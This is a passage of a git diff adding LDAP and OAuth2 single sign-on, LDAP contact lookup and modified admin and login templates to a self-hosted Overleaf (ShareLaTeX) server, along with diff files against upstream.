charIndex = 0; charIndex <= password.length - 1; charIndex++) { + if ( + digits.indexOf(password[charIndex]) === -1 && + letters.indexOf(password[charIndex]) === -1 && + lettersUp.indexOf(password[charIndex]) === -1 && + symbols.indexOf(password[charIndex]) === -1 + ) { + return false + } + } + return true + }, + + + async ldapAuth(query, password, onSuccessCreateUserIfNotExistent, callback, user) { + const client = new Client({ + url: process.env.LDAP_SERVER, + }); + + const ldap_reader = process.env.LDAP_BIND_USER + const ldap_reader_pass = process.env.LDAP_BIND_PW + const ldap_base = process.env.LDAP_BASE + + var mail = query.email + var uid = query.email.split('@')[0] + var firstname = "" + var lastname = "" + var isAdmin = false + var userDn = "" + + //replace all appearences of %u with uid and all %m with mail: + const replacerUid = new RegExp("%u", "g") + const replacerMail = new RegExp("%m","g") + const filterstr = process.env.LDAP_USER_FILTER.replace(replacerUid, ldapEscape.filter`${uid}`).replace(replacerMail, ldapEscape.filter`${mail}`) //replace all appearances + // check bind + try { + if(process.env.LDAP_BINDDN){ //try to bind directly with the user trying to log in + userDn = process.env.LDAP_BINDDN.replace(replacerUid,ldapEscape.filter`${uid}`).replace(replacerMail, ldapEscape.filter`${mail}`); + await client.bind(userDn,password); + }else{// use fixed bind user + await client.bind(ldap_reader, ldap_reader_pass); + } + } catch (ex) { + if(process.env.LDAP_BINDDN){ + console.log("Could not bind user: " + userDn); + }else{ + console.log("Could not bind LDAP reader: " + ldap_reader + " err: " + String(ex)) + } + return callback(null, null) + } + + // get user data + try { + const {searchEntries, searchRef,} = await client.search(ldap_base, { + scope: 'sub', + filter: filterstr , + }); + await searchEntries + console.log(JSON.stringify(searchEntries)) + if (searchEntries[0]) { + mail = searchEntries[0].mail + uid = searchEntries[0].uid + firstname = searchEntries[0].givenName + lastname = searchEntries[0].sn + if(!process.env.LDAP_BINDDN){ //dn is already correctly assembled + userDn = searchEntries[0].dn + } + console.log("Found user: " + mail + " Name: " + firstname + " " + lastname + " DN: " + userDn) + } + } catch (ex) { + console.log("An Error occured while getting user data during ldapsearch: " + String(ex)) + await client.unbind(); + return callback(null, null) + } + + try { + // if admin filter is set - only set admin for user in ldap group + // does not matter - admin is deactivated: managed through ldap + if (process.env.LDAP_ADMIN_GROUP_FILTER) { + const adminfilter = process.env.LDAP_ADMIN_GROUP_FILTER.replace(replacerUid, ldapEscape.filter`${uid}`).replace(replacerMail, ldapEscape.filter`${mail}`) + adminEntry = await client.search(ldap_base, { + scope: 'sub', + filter: adminfilter, + }); + await adminEntry; + //console.log("Admin Search response:" + JSON.stringify(adminEntry.searchEntries)) + if (adminEntry.searchEntries[0]) { + console.log("is Admin") + isAdmin=true; + } + } + } catch (ex) { + console.log("An Error occured while checking for admin rights - setting admin rights to false: " + String(ex)) + isAdmin = false; + } finally { + await client.unbind(); + } + if (mail == "" || userDn == "") { + console.log("Mail / userDn not set - exit. This should not happen - please set mail-entry in ldap.") + return callback(null, null) + } + + if(!process.env.BINDDN){//since we used a fixed bind user to obtain the correct userDn we need to bind again to authenticate + try { + await client.bind(userDn, password); + } catch (ex) { + console.log("Could not bind User: " + userDn + " err: " + String(ex)) + return callback(null, null) + } finally{ + await client.unbind() + } + } + //console.log("Logging in user: " + mail + " Name: " + firstname + " " + lastname + " isAdmin: " + String(isAdmin)) + // we are authenticated now let's set the query to the correct mail from ldap + query.email = mail + User.findOne(query, (error, user) => { + if (error) { + console.log(error) + } + if (user && user.hashedPassword) { + //console.log("******************** LOGIN ******************") + AuthenticationManager.login(user, "randomPass", callback) + } else { + onSuccessCreateUserIfNotExistent(query, user, callback, uid, firstname, lastname, mail, isAdmin) + } + }) + } + + + +} + +AuthenticationManager.promises = { + authenticate: util.promisify(AuthenticationManager.authenticate), + hashPassword: util.promisify(AuthenticationManager.hashPassword), + setUserPassword: util.promisify(AuthenticationManager.setUserPassword), +} + +module.exports = AuthenticationManager diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/ContactController.js b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/ContactController.js new file mode 100644 index 0000000..4146982 --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/ContactController.js @@ -0,0 +1,140 @@ +/* eslint-disable + camelcase, + max-len, + no-unused-vars, +*/ +// TODO: This file was created by bulk-decaffeinate. +// Fix any style issues and re-enable lint. +/* + * decaffeinate suggestions: + * DS101: Remove unnecessary use of Array.from + * DS102: Remove unnecessary code created because of implicit returns + * DS207: Consider shorter variations of null checks + * Full docs: https://github.com/decaffeinate/decaffeinate/blob/master/docs/suggestions.md + */ +let ContactsController +const AuthenticationController = require('../Authentication/AuthenticationController') +const SessionManager = require('../Authentication/SessionManager') +const ContactManager = require('./ContactManager') +const UserGetter = require('../User/UserGetter') +const logger = require('logger-sharelatex') +const Modules = require('../../infrastructure/Modules') +const { Client } = require('ldapts'); + +module.exports = ContactsController = { + getContacts(req, res, next) { + // const user_id = AuthenticationController.getLoggedInUserId(req) + const user_id = SessionManager.getLoggedInUserId(req.session) + return ContactManager.getContactIds( + user_id, + { limit: 50 }, + function (error, contact_ids) { + if (error != null) { + return next(error) + } + return UserGetter.getUsers( + contact_ids, + { + email: 1, + first_name: 1, + last_name: 1, + holdingAccount: 1, + }, + function (error, contacts) { + if (error != null) { + return next(error) + } + + // UserGetter.getUsers may not preserve order so put them back in order + const positions = {} + for (let i = 0; i < contact_ids.length; i++) { + const contact_id = contact_ids[i] + positions[contact_id] = i + } + + contacts.sort( + (a, b) => + positions[a._id != null ? a._id.toString() : undefined] - + positions[b._id != null ? b._id.toString() : undefined] + ) + + // Don't count holding accounts to discourage users from repeating mistakes (mistyped or wrong emails, etc) + contacts = contacts.filter(c => !c.holdingAccount) + ContactsController.getLdapContacts(contacts).then((ldapcontacts) => { + contacts.push(ldapcontacts) + contacts = contacts.map(ContactsController._formatContact) + return Modules.hooks.fire('getContacts', user_id, contacts, function( + error, + additional_contacts + ) { + if (error != null) { + return next(error) + } + contacts = contacts.concat(...Array.from(additional_contacts || [])) + return res.send({ + contacts + }) + }) + }).catch(e => console.log("Error appending ldap contacts" + e)) + + } + ) + }) + }, + async getLdapContacts(contacts) { + if (process.env.LDAP_CONTACTS === undefined || !(process.env.LDAP_CONTACTS.toLowerCase() === 'true')) { + return contacts + } + const client = new Client({ + url: process.env.LDAP_SERVER, + }); + + // if we need a ldap user try to bind + if (process.env.LDAP_BIND_USER) { + try { + await client.bind(process.env.LDAP_BIND_USER, process.env.LDAP_BIND_PW); + } catch (ex) { + console.log("Could not bind LDAP reader user: " + String(ex) ) + } + } + + const ldap_base = process.env.LDAP_BASE + // get user data + try { + // if you need an client.bind do it here. + const {searchEntries,searchReferences,} = await client.search(ldap_base, {scope: 'sub',filter: process.env.LDAP_CONTACT_FILTER ,}); + await searchEntries; + for (var i = 0; i < searchEntries.length; i++) { + var entry = new Map() + var obj = searchEntries[i]; + entry['_id'] = undefined + entry['email'] = obj['mail'] + entry['first_name'] = obj['givenName'] + entry['last_name'] = obj['sn'] + entry['type'] = "user" + // Only add to contacts if entry is not there. + if(contacts.indexOf(entry) === -1) { + contacts.push(entry); + } + } + } catch (ex) { + console.log(String(ex)) + } + //console.log(JSON.stringify(contacts)) + finally { + // even if we did not use bind - the constructor of + // new Client() opens a socket to the ldap server + client.unbind() + return contacts + } + }, + _formatContact(contact) { + return { + id: contact._id != null ? contact._id.toString() : undefined, + email: contact.email || '', + first_name: contact.first_name || '', + last_name: contact.last_name || '', + type: 'user', + } + }, +} diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/admin-index.pug b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/admin-index.pug new file mode 100644 index 0000000..88e264b --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/admin-index.pug @@ -0,0 +1,57 @@ +extends ../layout + +block content + .content.content-alt + .container + .row + .col-xs-12 + .card(ng-controller="RegisterUsersController") + .page-header + h1 Admin Panel + tabset(ng-cloak) + tab(heading="System Messages") + each message in systemMessages + .alert.alert-info.row-spaced(ng-non-bindable) #{message.content} + hr + form(method='post', action='/admin/messages') + input(name="_csrf", type="hidden", value=csrfToken) + .form-group + label(for="content") + input.form-control(name="content", type="text", placeholder="Message...", required) + button.btn.btn-primary(type="submit") Post Message + hr + form(method='post', action='/admin/messages/clear') + input(name="_csrf", type="hidden", value=csrfToken) + button.btn.btn-danger(type="submit") Clear all messages + + + tab(heading="Register non LDAP User") + form.form + .row + .col-md-4.col-xs-8 + input.form-control( + name="email", + type="text", + placeholder="jane@example.com, joe@example.com", + ng-model="inputs.emails", + on-enter="registerUsers()" + ) + .col-md-8.col-xs-4 + button.btn.btn-primary(ng-click="registerUsers()") #{translate("register")} + + .row-spaced(ng-show="error").ng-cloak.text-danger + p Sorry, an error occured + + .row-spaced(ng-show="users.length > 0").ng-cloak.text-success + p We've sent out welcome emails to the registered users. + p You can also manually send them URLs below to allow them to reset their password and log in for the first time. + p (Password reset tokens will expire after one week and the user will need registering again). + + hr(ng-show="users.length > 0").ng-cloak + table(ng-show="users.length > 0").table.table-striped.ng-cloak + tr + th #{translate("email")} + th Set Password Url + tr(ng-repeat="user in users") + td {{ user.email }} + td(style="word-break: break-all;") {{ user.setNewPasswordUrl }} diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/admin-sysadmin.pug b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/admin-sysadmin.pug new file mode 100644 index 0000000..c7131a3 --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/admin-sysadmin.pug @@ -0,0 +1,79 @@ +extends ../layout + +block content + .content.content-alt + .container + .row + .col-xs-12 + .card(ng-controller="RegisterUsersController") + .page-header + h1 Admin Panel + tabset(ng-cloak) + tab(heading="System Messages") + each message in systemMessages + .alert.alert-info.row-spaced(ng-non-bindable) #{message.content} + hr + form(method='post', action='/admin/messages') + input(name="_csrf", type="hidden", value=csrfToken) + .form-group + label(for="content") + input.form-control(name="content", type="text", placeholder="Message...", required) + button.btn.btn-primary(type="submit") Post Message + hr + form(method='post', action='/admin/messages/clear') + input(name="_csrf", type="hidden", value=csrfToken) + button.btn.btn-danger(type="submit") Clear all messages + + + tab(heading="Register non LDAP User") + form.form + .row + .col-md-4.col-xs-8 + input.form-control( + name="email", + type="text", + placeholder="jane@example.com, joe@example.com", + ng-model="inputs.emails", + on-enter="registerUsers()" + ) + .col-md-8.col-xs-4 + button.btn.btn-primary(ng-click="registerUsers()") #{translate("register")} + + .row-spaced(ng-show="error").ng-cloak.text-danger + p Sorry, an error occured + + .row-spaced(ng-show="users.length > 0").ng-cloak.text-success + p We've sent out welcome emails to the registered users. + p You can also manually send them URLs below to allow them to reset their password and log in for the first time. + p (Password reset tokens will expire after one week and the user will need registering again). + + hr(ng-show="users.length > 0").ng-cloak + table(ng-show="users.length > 0").table.table-striped.ng-cloak + tr + th #{translate("email")} + th Set Password Url + tr(ng-repeat="user in users") + td {{ user.email }} + td(style="word-break: break-all;") {{ user.setNewPasswordUrl }} + tab(heading="Open/Close Editor" bookmarkable-tab="open-close-editor") + if hasFeature('saas') + | The "Open/Close Editor" feature is not available in SAAS. + else + .row-spaced + form(method='post',action='/admin/closeEditor') + input(name="_csrf", type="hidden", value=csrfToken) + button.btn.btn-danger(type="submit") Close Editor + p.small Will stop anyone opening the editor. Will NOT disconnect already connected users. + + .row-spaced + form(method='post',action='/admin/disconnectAllUsers') + input(name="_csrf", type="hidden", value=csrfToken) + button.btn.btn-danger(type="submit") Disconnect all users + p.small Will force disconnect all users with the editor open. Make sure to close the editor first to avoid them reconnecting. + + .row-spaced + form(method='post',action='/admin/openEditor') + input(name="_csrf", type="hidden", value=csrfToken) + button.btn.btn-danger(type="submit") Reopen Editor + p.small Will reopen the editor after closing. + diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/authcontroller.diff b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/authcontroller.diff new file mode 100644 index 0000000..c45a271 --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/authcontroller.diff @@ -0,0 +1,103 @@ +23,24d22 +< const axios = require('axios').default +< const Path = require('path') +195c193 +< logger.debug({ email }, 'too many login requests') +--- +> logger.log({ email }, 'too many login requests') +227c225 +< logger.debug({ email }, 'failed log in') +--- +> logger.log({ email }, 'failed log in') +298,364d295 +< oauth2Redirect(req, res, next) { +< res.redirect(`${process.env.OAUTH_AUTH_URL}?` + +< querystring.stringify({ +< client_id: process.env.OAUTH_CLIENT_ID, +< response_type: "code", +< redirect_uri: (process.env.SHARELATEX_SITE_URL + "/oauth/callback"), +< })); +< }, +< +< oauth2Callback(req, res, next) { +< const code = req.query.code; +< +< //construct axios body +< const params = new URLSearchParams() +< params.append('grant_type', "authorization_code") +< params.append('client_id', process.env.OAUTH_CLIENT_ID) +< params.append('client_secret', process.env.OAUTH_CLIENT_SECRET) +< params.append("code", code) +< params.append('redirect_uri', (process.env.SHARELATEX_SITE_URL + "/oauth/callback")) +< +< +< // json_body = { +< // "grant_type": "authorization_code", +< // client_id: process.env.OAUTH_CLIENT_ID, +< // client_secret: process.env.OAUTH_CLIENT_SECRET, +< // "code": code, +< // redirect_uri: (process.env.SHARELATEX_SITE_URL + "/oauth/callback"), +< // } +< +< axios.post(process.env.OAUTH_ACCESS_URL, params, { +< headers: { +< "Content-Type": "application/x-www-form-urlencoded", +< +< } +< }).then(access_res => { +< +< // console.log("respond is " + JSON.stringify(access_res.data)) +< // console.log("authorization_bearer_is " + authorization_bearer) +< authorization_bearer = "Bearer " + access_res.data.access_token +< +< let axios_get_config = { +< headers: { +< "Content-Type": "application/x-www-form-urlencoded", +< "Authorization": authorization_bearer, +< }, +< params: access_res.data +< } +< +< axios.get(process.env.OAUTH_USER_URL, axios_get_config).then(info_res => { +< // console.log("oauth_user: ", JSON.stringify(info_res.data)); +< if (info_res.data.err) { +< res.json({message: info_res.data.err}); +< } else { +< AuthenticationManager.createUserIfNotExist(info_res.data, (error, user) => { +< if (error) { +< res.json({message: error}); +< } else { +< // console.log("real_user: ", user); +< AuthenticationController.finishLogin(user, req, res, next); +< } +< }); +< } +< }); +< }); +< }, +< +< +444c375 +< logger.debug( +--- +> logger.log( +477c408 +< email, +--- +> email: email, +547c478 +< logger.debug( +--- +> logger.log( +558c489 +< logger.debug( +--- +> logger.log( +568c499 +< logger.debug( +--- +> logger.log( +689c620 +< logger.debug( +--- +> logger.log( diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/authmanager.diff b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/authmanager.diff new file mode 100644 index 0000000..841804d --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/authmanager.diff @@ -0,0 +1,297 @@ +12,13d11 +< const { Client } = require('ldapts'); +< const ldapEscape = require('ldap-escape'); +34,92c32,36 +< //console.log("Begining:" + JSON.stringify(query)) +< AuthenticationManager.authUserObj(error, user, query, password, callback) +< }) +< }, +< //login with any password +< login(user, password, callback) { +< AuthenticationManager.checkRounds( +< user, +< user.hashedPassword, +< password, +< function (err) { +< if (err) { +< return callback(err) +< } +< callback(null, user) +< HaveIBeenPwned.checkPasswordForReuseInBackground(password) +< } +< ) +< }, +< +< //oauth2 +< createUserIfNotExist(oauth_user, callback) { +< const query = { +< //name: ZHANG San +< email: oauth_user.email +< }; +< User.findOne(query, (error, user) => { +< if ((!user || !user.hashedPassword)) { +< //create random pass for local userdb, does not get checked for ldap users during login +< let pass = require("crypto").randomBytes(32).toString("hex") +< const userRegHand = require('../User/UserRegistrationHandler.js') +< userRegHand.registerNewUser({ +< email: query.email, +< first_name: oauth_user.given_name, +< last_name: oauth_user.family_name, +< password: pass +< }, +< function (error, user) { +< if (error) { +< return callback(error, null); +< } +< user.admin = false +< user.emails[0].confirmedAt = Date.now() +< user.save() +< console.log("user %s added to local library", query.email) +< User.findOne(query, (error, user) => { +< if (error) { +< return callback(error, null); +< } +< if (user && user.hashedPassword) { +< return callback(null, user); +< } else { +< return callback("Unknown error", null); +< } +< } +< ) +< }) +< } else { +< return callback(null, user); +--- +> if (error) { +> return callback(error) +> } +> if (!user || !user.hashedPassword) { +> return callback(null, null) +94,138d37 +< }); +< }, +< +< //LDAP +< createIfNotExistAndLogin(query, user, callback, uid, firstname, lastname, mail, isAdmin) { +< if (!user) { +< //console.log("Creating User:" + JSON.stringify(query)) +< //create random pass for local userdb, does not get checked for ldap users during login +< let pass = require("crypto").randomBytes(32).toString("hex") +< //console.log("Creating User:" + JSON.stringify(query) + "Random Pass" + pass) +< +< const userRegHand = require('../User/UserRegistrationHandler.js') +< userRegHand.registerNewUser({ +< email: mail, +< first_name: firstname, +< last_name: lastname, +< password: pass +< }, +< function (error, user) { +< if (error) { +< console.log(error) +< } +< user.email = mail +< user.isAdmin = isAdmin +< user.emails[0].confirmedAt = Date.now() +< user.save() +< //console.log("user %s added to local library: ", mail) +< User.findOne(query, (error, user) => { +< if (error) { +< console.log(error) +< } +< if (user && user.hashedPassword) { +< AuthenticationManager.login(user, "randomPass", callback) +< } +< }) +< }) // end register user +< } else { +< AuthenticationManager.login(user, "randomPass", callback) +< } +< }, +< +< authUserObj(error, user, query, password, callback) { +< if ( process.env.ALLOW_EMAIL_LOGIN && user && user.hashedPassword) { +< console.log("email login for existing user " + query.email) +< // check passwd against local db +140,146c39,40 +< if (match) { +< console.log("Local user password match") +< AuthenticationManager.login(user, password, callback) +< } else { +< console.log("Local user password mismatch, trying LDAP") +< // check passwd against ldap +< AuthenticationManager.ldapAuth(query, password, AuthenticationManager.createIfNotExistAndLogin, callback, user) +--- +> if (error) { +> return callback(error) +147a42,73 +> const update = { $inc: { loginEpoch: 1 } } +> if (!match) { +> update.$set = { lastFailedLogin: new Date() } +> } +> User.updateOne( +> { _id: user._id, loginEpoch: user.loginEpoch }, +> update, +> {}, +> (err, result) => { +> if (err) { +> return callback(err) +> } +> if (result.nModified !== 1) { +> return callback(new ParallelLoginError()) +> } +> if (!match) { +> return callback(null, null) +> } +> AuthenticationManager.checkRounds( +> user, +> user.hashedPassword, +> password, +> function (err) { +> if (err) { +> return callback(err) +> } +> callback(null, user) +> HaveIBeenPwned.checkPasswordForReuseInBackground(password) +> } +> ) +> } +> ) +149,153c75 +< } else { +< // No local passwd check user has to be in ldap and use ldap credentials +< AuthenticationManager.ldapAuth(query, password, AuthenticationManager.createIfNotExistAndLogin, callback, user) +< } +< return null +--- +> }) +157,158d78 +< // we use the emailadress from the ldap +< // therefore we do not enforce checks here +160,162c80,82 +< //if (!parsed) { +< // return new InvalidEmailError({ message: 'email not valid' }) +< //} +--- +> if (!parsed) { +> return new InvalidEmailError({ message: 'email not valid' }) +> } +320,437d239 +< +< +< async ldapAuth(query, password, onSuccessCreateUserIfNotExistent, callback, user) { +< const client = new Client({ +< url: process.env.LDAP_SERVER, +< }); +< +< const ldap_reader = process.env.LDAP_BIND_USER +< const ldap_reader_pass = process.env.LDAP_BIND_PW +< const ldap_base = process.env.LDAP_BASE +< +< var mail = query.email +< var uid = query.email.split('@')[0] +< var firstname = "" +< var lastname = "" +< var isAdmin = false +< var userDn = "" +< +< //replace all appearences of %u with uid and all %m with mail: +< const replacerUid = new RegExp("%u", "g") +< const replacerMail = new RegExp("%m","g") +< const filterstr = process.env.LDAP_USER_FILTER.replace(replacerUid, ldapEscape.filter`${uid}`).replace(replacerMail, ldapEscape.filter`${mail}`) //replace all appearances +< // check bind +< try { +< if(process.env.LDAP_BINDDN){ //try to bind directly with the user trying to log in +< userDn = process.env.LDAP_BINDDN.replace(replacerUid,ldapEscape.filter`${uid}`).replace(replacerMail, ldapEscape.filter`${mail}`); +< await client.bind(userDn,password); +< }else{// use fixed bind user +< await client.bind(ldap_reader, ldap_reader_pass); +< } +< } catch (ex) { +< if(process.env.LDAP_BINDDN){ +< console.log("Could not bind user: " + userDn); +< }else{ +< console.log("Could not bind LDAP reader: " + ldap_reader + " err: " + String(ex)) +< } +< return callback(null, null) +< } +< +< // get user data +< try { +< const {searchEntries, searchRef,} = await client.search(ldap_base, { +< scope: 'sub', +< filter: filterstr , +< }); +< await searchEntries +< console.log(JSON.stringify(searchEntries)) +< if (searchEntries[0]) { +< mail = searchEntries[0].mail +< uid = searchEntries[0].uid +< firstname = searchEntries[0].givenName +< lastname = searchEntries[0].sn +< if(!process.env.LDAP_BINDDN){ //dn is already correctly assembled +< userDn = searchEntries[0].dn +< } +< console.log("Found user: " + mail + " Name: " + firstname + " " + lastname + " DN: " + userDn) +< } +< } catch (ex) { +< console.log("An Error occured while getting user data during ldapsearch: " + String(ex)) +< await client.unbind(); +< return callback(null, null) +< } +< +< try { +< // if admin filter is set - only set admin for user in ldap group +< // does not matter - admin is deactivated: managed through ldap +< if (process.env.LDAP_ADMIN_GROUP_FILTER) { +< const adminfilter = process.env.LDAP_ADMIN_GROUP_FILTER.replace(replacerUid, ldapEscape.filter`${uid}`).replace(replacerMail, ldapEscape.filter`${mail}`) +< adminEntry = await client.search(ldap_base, { +< scope: 'sub', +< filter: adminfilter, +< }); +< await adminEntry; +< //console.log("Admin Search response:" + JSON.stringify(adminEntry.searchEntries)) +< if (adminEntry.searchEntries[0]) { +< console.log("is Admin") +< isAdmin=true; +< } +< } +< } catch (ex) { +< console.log("An Error occured while checking for admin rights - setting admin rights to false: " + String(ex)) +< isAdmin = false; +< } finally { +< await client.unbind(); +< } +< if (mail == "" || userDn == "") { +< console.log("Mail / userDn not set - exit. This should not happen - please set mail-entry in ldap.") +< return callback(null, null) +< } +< +< if(!process.env.BINDDN){//since we used a fixed bind user to obtain the correct userDn we need to bind again to authenticate +< try { +< await client.bind(userDn, password); +< } catch (ex) { +< console.log("Could not bind User: " + userDn + " err: " + String(ex)) +< return callback(null, null) +< } finally{ +< await client.unbind() +< } +< } +< //console.log("Logging in user: " + mail + " Name: " + firstname + " " + lastname + " isAdmin: " + String(isAdmin)) +< // we are authenticated now let's set the query to the correct mail from ldap +< query.email = mail +< User.findOne(query, (error, user) => { +< if (error) { +< console.log(error) +< } +< if (user && user.hashedPassword) { +< //console.log("******************** LOGIN ******************") +< AuthenticationManager.login(user, "randomPass", callback) +< } else { +< onSuccessCreateUserIfNotExistent(query, user, callback, uid, firstname, lastname, mail, isAdmin) +< } +< }) +< } +< +< +< diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/contactcontroller.diff b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/contactcontroller.diff new file mode 100644 index 0000000..0aa4199 --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/contactcontroller.diff @@ -0,0 +1,133 @@ +16d15 +< const AuthenticationController = require('../Authentication/AuthenticationController') +20c19 +< const logger = require('logger-sharelatex') +--- +> const logger = require('@overleaf/logger') +22d20 +< const { Client } = require('ldapts'); +26d23 +< // const user_id = AuthenticationController.getLoggedInUserId(req) +48,78c45,55 +< // UserGetter.getUsers may not preserve order so put them back in order +< const positions = {} +< for (let i = 0; i < contact_ids.length; i++) { +< const contact_id = contact_ids[i] +< positions[contact_id] = i +< } +< +< contacts.sort( +< (a, b) => +< positions[a._id != null ? a._id.toString() : undefined] - +< positions[b._id != null ? b._id.toString() : undefined] +< ) +< +< // Don't count holding accounts to discourage users from repeating mistakes (mistyped or wrong emails, etc) +< contacts = contacts.filter(c => !c.holdingAccount) +< ContactsController.getLdapContacts(contacts).then((ldapcontacts) => { +< contacts.push(ldapcontacts) +< contacts = contacts.map(ContactsController._formatContact) +< return Modules.hooks.fire('getContacts', user_id, contacts, function( +< error, +< additional_contacts +< ) { +< if (error != null) { +< return next(error) +< } +< contacts = contacts.concat(...Array.from(additional_contacts || [])) +< return res.send({ +< contacts +< }) +< }) +< }).catch(e => console.log("Error appending ldap contacts" + e)) +--- +> // UserGetter.getUsers may not preserve order so put them back in order +> const positions = {} +> for (let i = 0; i < contact_ids.length; i++) { +> const contact_id = contact_ids[i] +> positions[contact_id] = i +> } +> contacts.sort( +> (a, b) => +> positions[a._id != null ? a._id.toString() : undefined] - +> positions[b._id != null ? b._id.toString() : undefined] +> ) +80,99c57,60 +< } +< ) +< }) +< }, +< async getLdapContacts(contacts) { +< if (process.env.LDAP_CONTACTS === undefined || !(process.env.LDAP_CONTACTS.toLowerCase() === 'true')) { +< return contacts +< } +< const client = new Client({ +< url: process.env.LDAP_SERVER, +< }); +< +< // if we need a ldap user try to bind +< if (process.env.LDAP_BIND_USER) { +< try { +< await client.bind(process.env.LDAP_BIND_USER, process.env.LDAP_BIND_PW); +< } catch (ex) { +< console.log("Could not bind LDAP reader user: " + String(ex) ) +< } +< } +--- +> // Don't count holding accounts to discourage users from repeating mistakes (mistyped or wrong emails, etc) +> contacts = contacts.filter(c => !c.holdingAccount) +> +> contacts = contacts.map(ContactsController._formatContact) +101,118c62,79 +< const ldap_base = process.env.LDAP_BASE +< // get user data +< try { +< // if you need an client.bind do it here. +< const {searchEntries,searchReferences,} = await client.search(ldap_base, {scope: 'sub',filter: process.env.LDAP_CONTACT_FILTER ,}); +< await searchEntries; +< for (var i = 0; i < searchEntries.length; i++) { +< var entry = new Map() +< var obj = searchEntries[i]; +< entry['_id'] = undefined +< entry['email'] = obj['mail'] +< entry['first_name'] = obj['givenName'] +< entry['last_name'] = obj['sn'] +< entry['type'] = "user" +< // Only add to contacts if entry is not there. +< if(contacts.indexOf(entry) === -1) { +< contacts.push(entry); +< } +--- +> return Modules.hooks.fire( +> 'getContacts', +> user_id, +> contacts, +> function (error, additional_contacts) { +> if (error != null) { +> return next(error) +> } +> contacts = contacts.concat( +> ...Array.from(additional_contacts || []) +> ) +> return res.json({ +> contacts, +> }) +> } +> ) +> } +> ) +120,129c81 +< } catch (ex) { +< console.log(String(ex)) +< } +< //console.log(JSON.stringify(contacts)) +< finally { +< // even if we did not use bind - the constructor of +< // new Client() opens a socket to the ldap server +< client.unbind() +< return contacts +< } +--- +> ) +130a83 +> diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/login.diff b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/login.diff new file mode 100644 index 0000000..46f77bb --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/login.diff @@ -0,0 +1,54 @@ +1,4c1 +< extends ../layout +< +< block vars +< - metadata = { viewport: true } +--- +> extends ../layout-marketing +7c4 +< main.content.content-alt +--- +> main.content.content-alt#main-content +14c11 +< form(async-form="login", name="loginForm", action='/login', method="POST", ng-cloak) +--- +> form(data-ol-async-form, name="loginForm", action='/login', method="POST") +16c13 +< form-messages(for="loginForm") +--- +> +formMessages() +23,25c20 +< ng-model="email", +< ng-model-options="{ updateOn: 'blur' }", +< focus="true" +--- +> autofocus="true" +27,28d21 +< span.small.text-primary(ng-show="loginForm.email.$invalid && loginForm.email.$dirty") +< | #{translate("must_be_email_address")} +35d27 +< ng-model="password" +37,38d28 +< span.small.text-primary(ng-show="loginForm.password.$invalid && loginForm.password.$dirty") +< | #{translate("required")} +40c30 +< button.btn-primary.btn.btn-block( +--- +> button.btn-primary.btn( +42c32 +< ng-disabled="loginForm.inflight" +--- +> data-ol-disabled-inflight +44,51c34,36 +< span(ng-show="!loginForm.inflight") #{translate("login_with_email")} +< span(ng-show="loginForm.inflight") #{translate("logging_in")}… +< .form-group.text-center(style="padding-top: 10px") +< a.btn-block.login-btn(href="/oauth/redirect" style='padding-left: 0px') +< | Log in via SUSTech CRA SSO / CAS +< p +< | homepage-notice-html +< +--- +> span(data-ol-inflight="idle") #{translate("login")} +> span(hidden data-ol-inflight="pending") #{translate("logging_in")}… +> a.pull-right(href='/user/password/reset') #{translate("forgot_your_password")}? diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/login.pug b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/login.pug new file mode 100644 index 0000000..7af4bae --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/login.pug @@ -0,0 +1,51 @@ +extends ../layout + +block vars + - metadata = { viewport: true } + +block content + main.content.content-alt + .container + .row + .col-md-6.col-md-offset-3.col-lg-4.col-lg-offset-4 + .card + .page-header + h1 #{translate("log_in")} + form(async-form="login", name="loginForm", action='/login', method="POST", ng-cloak) + input(name='_csrf', type='hidden', value=csrfToken) + form-messages(for="loginForm") + .form-group + input.form-control( + type='email', + name='email', + required, + placeholder='email@example.com', + ng-model="email", + ng-model-options="{ updateOn: 'blur' }", + focus="true" + ) + span.small.text-primary(ng-show="loginForm.email.$invalid && loginForm.email.$dirty") + | #{translate("must_be_email_address")} + .form-group + input.form-control( + type='password', + name='password', + required, + placeholder='********', + ng-model="password" + ) + span.small.text-primary(ng-show="loginForm.password.$invalid && loginForm.password.$dirty") + | #{translate("required")} + .actions + button.btn-primary.btn.btn-block( + type='submit', + ng-disabled="loginForm.inflight" + ) + span(ng-show="!loginForm.inflight") #{translate("login_with_email")} + span(ng-show="loginForm.inflight") #{translate("logging_in")}… + .form-group.text-center(style="padding-top: 10px") + a.btn-block.login-btn(href="/oauth/redirect" style='padding-left: 0px') + | Log in via SUSTech CRA SSO / CAS + p + | homepage-notice-html + diff --git 